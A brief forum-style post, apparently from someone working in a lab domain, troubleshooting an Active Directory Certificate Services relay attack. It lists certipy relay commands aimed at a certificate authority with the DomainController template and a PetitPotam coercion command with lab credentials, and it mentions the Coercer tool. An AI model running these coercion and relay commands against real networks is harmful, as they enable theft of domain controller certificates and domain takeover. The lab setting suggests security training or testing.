certipy relay -target 172.16.19.5 -template DomainController

I tried to target 172.16.19.77 but no result I also tried to use ```
certipy relay -target "rpc://172.16.19.5" -ca "lab-WS01-CA" -template DomainController

To my second option I used coercer and PetitPotem

python3 PetitPotam.py -u BlWasp -p 'Password123!' -d 'lab.local' 172.16.19.19 172.16.19.3

I also tried to use coercer with above same IP
